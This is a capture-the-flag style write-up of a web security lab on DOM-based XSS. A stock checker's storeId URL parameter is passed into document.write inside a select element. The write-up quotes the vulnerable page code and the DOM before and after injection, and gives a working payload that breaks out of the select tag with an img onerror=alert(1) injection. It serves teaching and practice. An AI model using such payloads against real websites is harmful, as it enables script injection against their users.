← Writeups

DOM XSS in document.write sink using source location.search inside a select element

BACKGROUND

This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element.

To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function.


EXPLOITATION

                        <form id="stockCheckForm" action="/product/stock" method="POST">
                            <input required type="hidden" name="productId" value="6">
                            <script>
                                var stores = ["London","Paris","Milan"];
                                var store = (new URLSearchParams(window.location.search)).get('storeId');
                                document.write('<select name="storeId">');
                                if(store) {
                                    document.write('<option selected>'+store+'</option>');
                                }
                                for(var i=0;i<stores.length;i++) {
                                    if(stores[i] === store) {
                                        continue;
                                    }
                                    document.write('<option>'+stores[i]+'</option>');
                                }
                                document.write('</select>');
                            </script>
                            <button type="submit" class="button">Check stock</button>
                        </form>

The button sends a POST request, javasrcipt extracts "storedId" parameter from the URL as source and adds it as a new element or option from the drop down list /product?productId=6&storeId=13 if we add the parameter, it is reflected as a new element

                                var store = (new URLSearchParams(window.location.search)).get('storeId');

<option selected="">13</option>


<option selected=""></select><img src=1 onerror=alert(1)</option>
product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>

DOM without the payload

<form id="stockCheckForm" action="/product/stock" method="POST">
                            <input required="" type="hidden" name="productId" value="6">
                            <script>
                                var stores = ["London","Paris","Milan"];
                                var store = (new URLSearchParams(window.location.search)).get('storeId');
                                document.write('<select name="storeId">');
                                if(store) {
                                    document.write('<option selected>'+store+'</option>');
                                }
                                for(var i=0;i<stores.length;i++) {
                                    if(stores[i] === store) {
                                        continue;
                                    }
                                    document.write('<option>'+stores[i]+'</option>');
                                }
                                document.write('</select>');
                            </script><select name="storeId"><option selected="">13</option><option>London</option><option>Paris</option><option>Milan</option></select>
                            <button type="submit" class="button">Check stock</button>
                        </form>
</script><select name="storeId"><option selected="">13</option><option>London</option><option>Paris</option><option>Milan</option></select>

To build the payload we end the first "select tag" and append an image null alert javascript payload

with the payload

<form id="stockCheckForm" action="/product/stock" method="POST">
                            <input required="" type="hidden" name="productId" value="1">
                            <script>
                                var stores = ["London","Paris","Milan"];
                                var store = (new URLSearchParams(window.location.search)).get('storeId');
                                document.write('<select name="storeId">');
                                if(store) {
                                    document.write('<option selected>'+store+'</option>');
                                }
                                for(var i=0;i<stores.length;i++) {
                                    if(stores[i] === store) {
                                        continue;
                                    }
                                    document.write('<option>'+stores[i]+'</option>');
                                }
                                document.write('</select>');
                            </script><select name="storeId"><option selected="">"&gt;</option></select><img src="1" onerror="alert(1)"><option>London</option><option>Paris</option><option>Milan</option>
                            <button type="submit" class="button">Check stock</button>
                        </form>